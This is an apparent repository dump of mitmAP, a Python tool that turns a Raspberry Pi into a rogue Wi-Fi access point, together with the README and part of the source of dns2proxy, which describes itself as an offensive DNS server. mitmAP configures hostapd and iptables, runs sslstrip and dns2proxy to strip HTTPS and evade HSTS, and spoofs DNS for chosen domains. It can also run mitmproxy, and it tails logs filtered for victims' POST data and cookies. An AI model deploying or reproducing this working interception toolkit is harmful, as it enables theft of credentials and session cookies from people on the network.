106 | hostapd_file_wpa = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP"
107 | print("[I] Deleting old config file...")
108 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
109 | print("[I] Writing config file...")
110 | os.system("sudo echo -e '" + hostapd_file_wpa + "' > /etc/hostapd/hostapd.conf")
111 | else:
112 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0"
113 | print("[I] Deleting old config file...")
114 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
115 | print("[I] Writing config file...")
116 | os.system("sudo echo -e '" + hostapd_file + "' > /etc/hostapd/hostapd.conf")
117 | #/HOSTAPD CONFIG
118 |
119 | #IPTABLES
120 | print("[I] Configuring AP interface...")
121 | os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0")
122 | print("[I] Applying iptables rules...")
123 | os.system("sudo iptables --flush")
124 | os.system("sudo iptables --table nat --flush")
125 | os.system("sudo iptables --delete-chain")
126 | os.system("sudo iptables --table nat --delete-chain")
127 | os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE")
128 | os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT")
129 | #/IPTABLES
130 |
131 | #SPEED LIMIT
132 | speed_if = input("[?] Set speed limit for the clients? Y/n: ")
133 | speed_if = speed_if.lower()
134 | if speed_if == "y" or speed_if == "":
135 | while True:
136 | speed_down = input("[?] Download speed limit (in KB/s): ")
137 | if speed_down.isdigit():
138 | break
139 | else:
140 | print("[!] Please enter a number.")
141 | while True:
142 | speed_up = input("[?] Upload speed limit (in KB/s): ")
143 | if speed_up.isdigit():
144 | break
145 | else:
146 | print("[!] Please enter a number.")
147 | print("[I] Setting speed limit on " + ap_iface + "...")
148 | os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down)
149 | else:
150 | print("[I] Skipping...")
151 | #/SPEED LIMIT
152 |
153 | #WIRESHARK & TSHARK QUESTION
154 | wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? (ONLY WORKS WITH GUI) y/N: ")
155 | wireshark_if = wireshark_if.lower()
156 | tshark_if = "n"
157 | if wireshark_if != "y":
158 | tshark_if = input("[?] Capture packets to .pcap with TSHARK? (no gui needed) Y/n: ")
159 | tshark_if = tshark_if.lower()
160 | #/WIRESHARK & TSHARK QUESTION
161 |
162 | #SSLSTRIP MODE
163 | if sslstrip_if == "y" or sslstrip_if == "":
164 |
165 | #SSLSTRIP DNS SPOOFING
166 | ssl_dns_if = input("[?] Spoof DNS manually? y/N: ")
167 | ssl_dns_if = ssl_dns_if.lower()
168 | if ssl_dns_if == "y":
169 | while True:
170 | ssl_dns_num = input("[?] How many domains do you want to spoof?: ")
171 | if ssl_dns_num.isdigit():
172 | break
173 | else:
174 | print("[!] Please enter a number.")
175 | print("[I] Backing up " + script_path + "src/dns2proxy/spoof.cfg...")
176 | os.system("sudo cp " + script_path + "src/dns2proxy/spoof.cfg " + script_path + "src/dns2proxy/spoof.cfg.backup")
177 | os.system("sudo cat /dev/null > "+ script_path + "src/dns2proxy/spoof.cfg")
178 | i = 0
179 | while int(ssl_dns_num) != i:
180 | ssl_dns_num_temp = i + 1
181 | ssl_dns_domain = input("[?] " + str(ssl_dns_num_temp) + ". domain to spoof: ")
182 | ssl_dns_ip = input("[?] Fake IP for domain '" + ssl_dns_domain + "': ")
183 | ssl_dns_line = ssl_dns_domain + " " + ssl_dns_ip + "\n"
184 | os.system("sudo echo -e '" + ssl_dns_line + "' >> "+ script_path + "src/dns2proxy/spoof.cfg")
185 | i = i + 1
186 | #/SSLSTRIP DNS SPOOFING
187 |
188 | print("[I] Starting DNSMASQ server...")
189 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
190 | os.system("sudo pkill dnsmasq")
191 | os.system("sudo dnsmasq")
192 |
193 | proxy_if = "n"
194 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000")
195 | os.system("sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53")
196 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-port 53")
197 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
198 |
199 |
200 | print("[I] Starting AP on " + ap_iface + " in screen terminal...")
201 | os.system("sudo screen -S mitmap-sslstrip -m -d python " + script_path + "src/sslstrip2/sslstrip.py -l 9000 -w " + script_path + "logs/mitmap-sslstrip.log -a")
202 | os.system("sudo screen -S mitmap-dns2proxy -m -d sh -c 'cd " + script_path + "src/dns2proxy && python dns2proxy.py'")
203 | time.sleep(5)
204 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
205 | if wireshark_if == "y":
206 | print("[I] Starting WIRESHARK...")
207 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
208 | if driftnet_if == "y":
209 | print("[I] Starting DRIFTNET...")
210 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
211 | if tshark_if == "y" or tshark_if == "":
212 | print("[I] Starting TSHARK...")
213 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
214 | print("\nTAIL started on " + script_path + "logs/mitmap-sslstrip.log...\nWait for output... (press 'CTRL + C' 2 times to stop)\nHOST-s, POST requests and COOKIES will be shown.\n")
215 | try:
216 | time.sleep(5)
217 | except:
218 | print("")
219 | while True:
220 | try:
221 | print("[I] Restarting tail in 1 sec... (press 'CTRL + C' again to stop)")
222 | time.sleep(1)
223 | os.system("sudo tail -f " + script_path + "logs/mitmap-sslstrip.log | grep -e 'Sending Request: POST' -e 'New host:' -e 'Sending header: cookie' -e 'POST Data'")
224 | except KeyboardInterrupt:
225 | break
226 | #STARTING POINT
227 | #SSLSTRIP MODE
228 |
229 |
230 | else:
231 | #DNSMASQ DNS SPOOFING
232 | dns_if = input("[?] Spoof DNS? Y/n: ")
233 | dns_if = dns_if.lower()
234 | if dns_if == "y" or dns_if == "":
235 | while True:
236 | dns_num = input("[?] How many domains do you want to spoof?: ")
237 | if dns_num.isdigit():
238 | break
239 | else:
240 | print("[!] Please enter a number.")
241 | print("[I] Backing up /etc/dnsmasq.conf...")
242 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
243 | i = 0
244 | while int(dns_num) != i:
245 | dns_num_temp = i + 1
246 | dns_domain = input("[?] " + str(dns_num_temp) + ". domain to spoof: ")
247 | dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ")
248 | dns_line = "address=/" + dns_domain + "/" + dns_ip
249 | os.system("sudo echo -e '" + dns_line + "' >> /etc/dnsmasq.conf")
250 | i = i + 1
251 | else:
252 | print("[I] Skipping..")
253 | #/DNSMASQ DNS SPOOFING
254 |
255 | print("[I] Starting DNSMASQ server...")
256 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
257 | os.system("sudo pkill dnsmasq")
258 | os.system("sudo dnsmasq")
259 |
260 | #MITMPROXY MODE
261 | proxy_if = input("[?] Capture traffic? Y/n: ")
262 | proxy_if = proxy_if.lower()
263 | if proxy_if == "y" or proxy_if == "":
264 | proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ")
265 | proxy_config = proxy_config.lower()
266 | if proxy_config == "n" or proxy_config == "":
267 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
268 | else:
269 | print("[I] To install the certificate, go to 'http://mitm.it/' through the proxy, and choose your OS.")
270 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
271 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
272 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
273 | print("[I] Starting AP on " + ap_iface + " in screen terminal...")
274 | if wireshark_if == "y":
275 | print("[I] Starting WIRESHARK...")
276 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
277 | if driftnet_if == "y":
278 | print("[I] Starting DRIFTNET...")
279 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
280 | if tshark_if == "y" or tshark_if == "":
281 | print("[I] Starting TSHARK...")
282 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
283 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
284 | print("\nStarting MITMPROXY in 5 seconds... (press q and y to exit)\n")
285 | try:
286 | time.sleep(5)
287 | except:
288 | print("")
289 | os.system("sudo mitmproxy -T --host --follow -w " + script_path + "logs/mitmap-proxy.mitmproxy")
290 | #STARTING POINT
291 | else:
292 | print("[I] Skipping...")
293 | #/MITMPROXY MODE
294 |
295 | if wireshark_if == "y":
296 | print("[I] Starting WIRESHARK...")
297 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
298 | if driftnet_if == "y":
299 | print("[I] Starting DRIFTNET...")
300 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
301 | if tshark_if == "y" or tshark_if == "":
302 | print("[I] Starting TSHARK...")
303 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
304 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
305 | print("[I] Starting AP on " + ap_iface + "...\n")
306 | os.system("sudo hostapd /etc/hostapd/hostapd.conf")
307 | #STARTING POINT
308 |
309 | #STOPPING
310 | print("")
311 | print("[!] Stopping...")
312 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
313 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
314 | if sslstrip_if == "y" or sslstrip_if == "":
315 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
316 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'")
317 | if ssl_dns_if == "y":
318 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...")
319 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg")
320 | if wireshark_if == "y":
321 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
322 | if driftnet_if == "y":
323 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'")
324 | if tshark_if == "y" or tshark_if == "":
325 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'")
326 | # print("[I] Restoring old NetworkManager.cfg")
327 | # os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
328 | # print("[I] Restarting NetworkManager...")
329 | # os.system("sudo service network-manager restart")
330 | print("[I] Stopping DNSMASQ server...")
331 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
332 | os.system("sudo pkill dnsmasq")
333 | print("[I] Restoring old dnsmasq.cfg...")
334 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
335 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
336 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
337 | print("[I] Removeing speed limit from " + ap_iface + "...")
338 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
339 | print("[I] Flushing iptables rules...")
340 | os.system("sudo iptables --flush")
341 | os.system("sudo iptables --flush -t nat")
342 | os.system("sudo iptables --delete-chain")
343 | os.system("sudo iptables --table nat --delete-chain")
344 | print("[I] Traffic have been saved to the 'log' folder!")
345 | print("\n[!] WARNING: If you want to use the AP interface normally, please reboot the PI!\n")
346 | print("[I] mitmAP stopped.")
347 | except KeyboardInterrupt:
348 | print("")
349 | print("[!] Stopping... (Dont worry if you get errors)")
350 | try:
351 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
352 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
353 | if sslstrip_if == "y" or sslstrip_if == "":
354 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
355 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'")
356 | if ssl_dns_if == "y":
357 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...")
358 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg")
359 | except:
360 | pass
361 | try:
362 | if wireshark_if == "y":
363 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
364 | except:
365 | pass
366 | try:
367 | if driftnet_if == "y":
368 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'")
369 | except:
370 | pass
371 | try:
372 | if tshark_if == "y" or tshark_if == "":
373 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'")
374 | except:
375 | pass
376 | # print("[I] Restoring old NetworkManager.cfg")
377 | # os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
378 | # print("[I] Restarting NetworkManager...")
379 | # os.system("sudo service network-manager restart")
380 | print("[I] Stopping DNSMASQ server...")
381 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
382 | os.system("sudo pkill dnsmasq")
383 | print("[I] Restoring old dnsmasq.cfg...")
384 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
385 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
386 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
387 | try:
388 | print("[I] Removeing speed limit from " + ap_iface + "...")
389 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
390 | except:
391 | pass
392 | print("[I] Flushing iptables rules...")
393 | os.system("sudo iptables --flush")
394 | os.system("sudo iptables --flush -t nat")
395 | os.system("sudo iptables --delete-chain")
396 | os.system("sudo iptables --table nat --delete-chain")
397 | print("[I] Traffic have been saved to the 'log' folder!")
398 | print("\n[!] WARNING: If you want to use the AP interface normally, please reboot the PI!\n")
399 | print("[I] mitmAP stopped.")
400 |
--------------------------------------------------------------------------------
/src/dns2proxy/README.md:
--------------------------------------------------------------------------------
1 | THIS IS JUST A COPY THE OFFICAL DNS2PROXY REPOSITORY
2 | ========
3 |
4 | dns2proxy
5 | =========
6 |
7 | Offensive DNS server
8 |
9 | This tools offer a different features for post-explotation once you change the DNS server to a Victim.
10 |
11 |
12 | Feature 1
13 | ---------
14 |
15 | Traditional DNS Spoof adding to the response the original IP address.
16 |
17 | Using spoof.cfg file:
18 |
19 | hostname ip.ip.ip.ip
20 |
21 | >root@kali:~/dns2proxy# echo "www.s21sec.com 1.1.1.1" > spoof.cfg
22 | >
23 | >// launch in another terminal dns2proxy.py
24 | >
25 | >root@kali:~/dns2proxy# nslookup www.s21sec.com 127.0.0.1
26 | >Server: 127.0.0.1
27 | >Address: 127.0.0.1#53
28 | >
29 | >Name: www.s21sec.com
30 | >Address: 1.1.1.1
31 | >Name: www.s21sec.com
32 | >Address: 88.84.64.30
33 |
34 |
35 | or you can use domains.cfg file to spoof all host of a same domain:
36 |
37 | >root@kali:~/demoBH/dns2proxy# cat dominios.cfg
38 | >.domain.com 192.168.1.1
39 | >
40 | >root@kali:~/demoBH/dns2proxy# nslookup aaaa.domain.com 127.0.0.1
41 | >Server: 127.0.0.1
42 | >Address: 127.0.0.1#53
43 | >
44 | >Name: aaaa.domain.com
45 | >Address: 192.168.1.1
46 |
47 | Hostnames at nospoof.cfg will no be spoofed.
48 |
49 | Feature 2
50 | ---------
51 |
52 | This feature implements the attack of DNS spoofing adding 2 IP address at the top of the resolution and configuring the system to forward the connections.
53 | Check my slides at BlackHat Asia 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and the [Demo Video] (http://www.youtube.com/watch?v=cJtbxX1HS5I).
54 |
55 | To launch this attach there is a shellscript that automatically configure the system using IP tables. You must edit this file to adapt it to your system. DON´T FORGET AdminIP variable!!!!
56 | Both IPs must be at the same system to let dns2proxy.py configurate the forwarding
57 |
58 | Usage: ia.sh < interface > [ip1] [ip2]
59 |
60 |
61 | >root@kali:~/dns2proxy# ./ia.sh eth0 172.16.48.128 172.16.48.230
62 | >Non spoofing imap.gmail.com
63 | >Non spoofing mail.s21sec.com
64 | >Non spoofing www.google.com
65 | >Non spoofing www.apple.com
66 | >Non spoofing ccgenerals.ms19.gamespy.com
67 | >Non spoofing master.gamespy.com
68 | >Non spoofing gpcm.gamespy.com
69 | >Non spoofing launch.gamespyarcade.com
70 | >Non spoofing peerchat.gamespy.com
71 | >Non spoofing gamestats.gamespy.com
72 | >Specific host spoofing www.s21sec.com with 1.1.1.1
73 | >Specific domain IP .domain.com with 192.168.1.1
74 | >binded to UDP port 53.
75 | >waiting requests.
76 | >Starting sniffing in (eth0 = 172.16.48.128)....
77 | >
78 | >< at other terminal >
79 | >
80 | >root@kali:~/dns2proxy# nslookup www.microsoft.com 127.0.0.1
81 | >Server: 127.0.0.1
82 | >Address: 127.0.0.1#53
83 | >
84 | >Name: www.microsoft.com
85 | >Address: 172.16.48.128
86 | >Name: www.microsoft.com
87 | >Address: 172.16.48.230
88 | >Name: www.microsoft.com
89 | >Address: 65.55.57.27
90 |
91 |
92 | The fhtang.sh script will terminate the program and restore normal iptables.
93 |
94 | Hostnames at nospoof.cfg will no be spoofed.
95 |
96 |
97 | Feature 3
98 | ---------
99 |
100 | Automatically the dns server detects and correct the changes thats my sslstrip+ do to the hostnames to avoid HSTS, so will response properly.
101 |
102 | This server is necesary to make the sslstrip+ attack.
103 |
104 | >root@kali:~/dns2proxy# nslookup webaccounts.google.com 127.0.0.1 <-- DNS response like accounts.google.com
105 | >Server: 127.0.0.1
106 | >Address: 127.0.0.1#53
107 | >
108 | >Name: webaccounts.google.com
109 | >Address: 172.16.48.128
110 | >Name: webaccounts.google.com
111 | >Address: 172.16.48.230
112 | >Name: webaccounts.google.com
113 | >Address: 74.125.200.84
114 | >
115 | >root@kali:~/dns2proxy# nslookup wwww.yahoo.com 127.0.0.1 <-- Take care of the 4 w! DNS response like
116 | >Server: 127.0.0.1 www.yahoo.com
117 | >Address: 127.0.0.1#53
118 | >
119 | >Name: wwww.yahoo.com
120 | >Address: 172.16.48.128
121 | >Name: wwww.yahoo.com
122 | >Address: 172.16.48.230
123 | >Name: wwww.yahoo.com
124 | >Address: 68.142.243.179
125 | >Name: wwww.yahoo.com
126 | >Address: 68.180.206.184
127 |
128 |
129 | Instalation
130 | -----------
131 |
132 | dnspython (www.dnspython.com) is needed.
133 | Tested with Python 2.6 and Python 2.7.
134 |
135 |
136 | Config files description
137 | ------------------------
138 |
139 | domains.cfg (or dominios.cfg): resolve all hosts for the listed domains with the listed IP
140 | >Ex:
141 | >.facebook.com 1.2.3.4
142 | >.fbi.gov 1.2.3.4
143 |
144 | spoof.cfg : Spoof a host with a ip
145 | >Ex:
146 | >www.nsa.gov 127.0.0.1
147 |
148 | nospoof.cfg: Send always a legit response when asking for these hosts.
149 | >Ex.
150 | >mail.google.com
151 |
152 | nospoofto.cfg: Don't send fake responses to the IPs listed there.
153 | >Ex:
154 | >127.0.0.1
155 | >4.5.6.8
156 |
157 | victims.cfg: If not empty, only send fake responses to these IP addresses.
158 | >Ex:
159 | >23.66.163.36
160 | >195.12.226.131
161 |
162 | resolv.conf: DNS server to forward the queries.
163 | >Ex:
164 | >nameserver 8.8.8.8
165 |
166 |
--------------------------------------------------------------------------------
/src/dns2proxy/dns2proxy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2.6
2 | '''
3 | dns2proxy for offensive cybersecurity v1.0
4 |
5 |
6 | python dns2proxy.py -h for Usage.
7 |
8 | Example:
9 | python2.6 dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200
10 |
11 | Example for no forwarding (only configured domain based queries and spoofed hosts):
12 | python2.6 dns2proxy.py -i eth0 -noforward
13 |
14 | Example for no forwarding but add IPs
15 | python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward
16 |
17 | Author: Leonardo Nve ( leonardo.nve@gmail.com)
18 | '''
19 |
20 |
21 | import dns.message
22 | import dns.rrset
23 | import dns.resolver
24 | import socket
25 | import numbers
26 | import threading
27 | from struct import *
28 | import datetime
29 | import pcapy
30 | import os
31 | import signal
32 | import errno
33 | from time import sleep
34 | import argparse
35 |
36 |
37 | consultas = {}
38 | spoof = {}
39 | dominios = {}
40 | nospoof = []
41 | nospoofto = []
42 | victims = []
43 |
44 | LOGREQFILE = "dnslog.txt"
45 | LOGSNIFFFILE = "snifflog.txt"
46 | LOGALERTFILE = "dnsalert.txt"
47 | RESOLVCONF = "resolv.conf"
48 |
49 | victim_file = "victims.cfg"
50 | nospoof_file = "nospoof.cfg"
51 | nospoofto_file = "nospoofto.cfg"
52 | specific_file = "spoof.cfg"
53 | dominios_file = "domains.cfg"
54 |
55 | parser = argparse.ArgumentParser()
56 | parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true")
57 | parser.add_argument("-i", "--interface", help="Interface to use", default="eth0")
58 | parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None)
59 | parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None)
60 | parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None)
61 | parser.add_argument("-S", "--silent", help="Silent mode", action="store_true")
62 | parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1")
63 |
64 | args = parser.parse_args()
65 |
66 | debug = not args.silent
67 | dev = args.interface
68 | adminip = args.adminIP
69 | ip1 = args.ip1
70 | ip2 = args.ip2
71 | Forward = not args.noforward
72 |
73 | fake_ips = []
74 | # List of of ips
75 | if args.ips is not None:
76 | for ip in args.ips.split(","):
77 | fake_ips.append(ip)
78 |
79 | Resolver = dns.resolver.Resolver()
80 |
81 | ######################
82 | # GENERAL SECTION #
83 | ######################
84 |
85 |
86 | def save_req(lfile, str):
87 | f = open(lfile, "a")
88 | f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str)
89 | f.close()
90 |
91 |
92 | def SIGUSR1_handle(signalnum, frame):
93 | global noserv
94 | global Resolver
95 | noserv = 0
96 | DEBUGLOG('Reconfiguring....')
97 | process_files()
98 | Resolver.reset()
99 | Resolver.read_resolv_conf(RESOLVCONF)
100 | return
101 |
102 |
103 | def process_files():
104 | global nospoof
105 | global spoof
106 | global nospoof_file
107 | global specific_file
108 | global dominios_file
109 | global dominios
110 | global nospoofto_file
111 |
112 | for i in nospoof[:]:
113 | nospoof.remove(i)
114 |
115 | for i in nospoofto[:]:
116 | nospoofto.remove(i)
117 |
118 | for i in victims[:]:
119 | victims.remove(i)
120 |
121 | dominios.clear()
122 | spoof.clear()
123 |
124 | nsfile = open(nospoof_file, 'r')
125 | for line in nsfile:
126 | if line[0] == '#':
127 | continue
128 | h = line.split()
129 | if len(h) > 0:
130 | DEBUGLOG('Non spoofing ' + h[0])
131 | nospoof.append(h[0])
132 |
133 | nsfile.close()
134 |
135 | nsfile = open(victim_file, 'r')
136 | for line in nsfile:
137 | if line[0] == '#':
138 | continue
139 | h = line.split()
140 | if len(h) > 0:
141 | DEBUGLOG('Spoofing only to ' + h[0])
142 | victims.append(h[0])
143 |
144 | nsfile.close()
145 |
146 | nsfile = open(nospoofto_file, 'r')
147 | for line in nsfile:
148 | if line[0] == '#':
149 | continue
150 | h = line.split()
151 | if len(h) > 0:
152 | DEBUGLOG('Non spoofing to ' + h[0])
153 | nospoofto.append(h[0])
154 |
155 | nsfile.close()
156 |
157 | nsfile = open(specific_file, 'r')
158 | for line in nsfile:
159 | if line[0] == '#':
160 | continue
161 | h = line.split()
162 | if len(h) > 1:
163 | DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1])
164 | spoof[h[0]] = h[1]
165 |
166 | nsfile.close()
167 | nsfile = open(dominios_file, 'r')
168 | for line in nsfile:
169 | if line[0] == '#':
170 | continue
171 | h = line.split()
172 | if len(h) > 1:
173 | DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1])
174 | dominios[h[0]] = h[1]
175 |
176 | nsfile.close()
177 | return
178 |
179 |
180 | def DEBUGLOG(str):
181 | global debug
182 | if debug:
183 | print str
184 | return
185 |
186 |
187 | def handler_msg(id):
188 | os.popen('./handler_msg.sh %s >> handler_msg.log 2>> handler_msg_error.log &'%id.replace('`','_').replace(';','_').replace('|','_').replace('&','_'))
189 | return
190 |
191 | ######################
192 | # SNIFFER SECTION #
193 | ######################
194 |
195 | class ThreadSniffer(threading.Thread):
196 | def __init__(self):
197 | threading.Thread.__init__(self)
198 |
199 | def run(self):
200 | #DEBUGLOG( self.getName(), " Sniffer Waiting connections....")
201 | go()
202 |
203 | def go():
204 | global ip1
205 | global dev
206 | bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % (
207 | ip1, ip1, adminip)
208 | cap = pcapy.open_live(dev, 255, 1, 0)
209 | cap.setfilter(bpffilter)
210 | DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1))
211 |
212 | #start sniffing packets
213 | while True:
214 | try:
215 | (header, packet) = cap.next()
216 | parse_packet(packet)
217 | except:
218 | pass
219 | #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen())))
220 |
221 | #function to parse a packet
222 | def parse_packet(packet):
223 | eth_length = 14
224 | eth_protocol = 8
225 | global ip1
226 | global consultas
227 | global ip2
228 |
229 | #Parse IP packets, IP Protocol number = 8
230 | if eth_protocol == 8:
231 | #Parse IP header
232 | #take first 20 characters for the ip header
233 | ip_header = packet[eth_length:20 + eth_length]
234 |
235 | #now unpack them :)
236 | iph = unpack('!BBHHHBBH4s4s', ip_header)
237 |
238 | version_ihl = iph[0]
239 | #version = version_ihl >> 4
240 | ihl = version_ihl & 0xF
241 |
242 | iph_length = ihl * 4
243 |
244 | #ttl = iph[5]
245 | protocol = iph[6]
246 | s_addr = socket.inet_ntoa(iph[8])
247 | d_addr = socket.inet_ntoa(iph[9])
248 |
249 |
250 |
251 | #TCP protocol
252 | if protocol == 6:
253 | t = iph_length + eth_length
254 | tcp_header = packet[t:t + 20]
255 |
256 | #now unpack them :)
257 | tcph = unpack('!HHLLBBHHH', tcp_header)
258 |
259 | source_port = tcph[0]
260 | dest_port = tcph[1]
261 | # sequence = tcph[2]
262 | # acknowledgement = tcph[3]
263 | # doff_reserved = tcph[4]
264 | # tcph_length = doff_reserved >> 4
265 |
266 |
267 |
268 | if consultas.has_key(str(s_addr)):
269 | DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' * Destination Address : ' + str(d_addr))
270 | DEBUGLOG(' Source Port : ' + str(source_port) + ' * Dest Port : ' + str(dest_port))
271 | # print '>>>> '+str(s_addr)+' esta en la lista!!!!.....'
272 | comando = 'sh ./IPBouncer.sh %s %s %s %s' % (
273 | ip2, str(dest_port), consultas[str(s_addr)], str(dest_port))
274 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
275 | #print '>>>> ' + comando
276 | comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
277 | ip1, str(dest_port), str(s_addr), str(source_port))
278 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
279 | comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
280 | ip1, str(dest_port), str(s_addr), str(source_port))
281 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_'))
282 | #print '>>>> ' + comando
283 |
284 | #UDP packets
285 | elif protocol == 17:
286 | u = iph_length + eth_length
287 | #udph_length = 8
288 | #udp_header = packet[u:u + 8]
289 | #now unpack them :)
290 | #udph = unpack('!HHHH', udp_header)
291 | #source_port = udph[0]
292 | #dest_port = udph[1]
293 | #length = udph[2]
294 | #checksum = udph[3]
295 | #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum))
296 | #h_size = eth_length + iph_length + udph_length
297 | #data_size = len(packet) - h_size
298 | #get data from the packet
299 | #data = packet[h_size:]
300 |
301 |
302 | ######################
303 | # DNS SECTION #
304 | ######################
305 |
306 | def respuestas(name, type):
307 | global Resolver
308 |
309 | DEBUGLOG('Query = ' + name + ' ' + type)
310 | try:
311 | answers = Resolver.query(name, type)
312 | except Exception, e:
313 | DEBUGLOG('Exception...')
314 | return 0
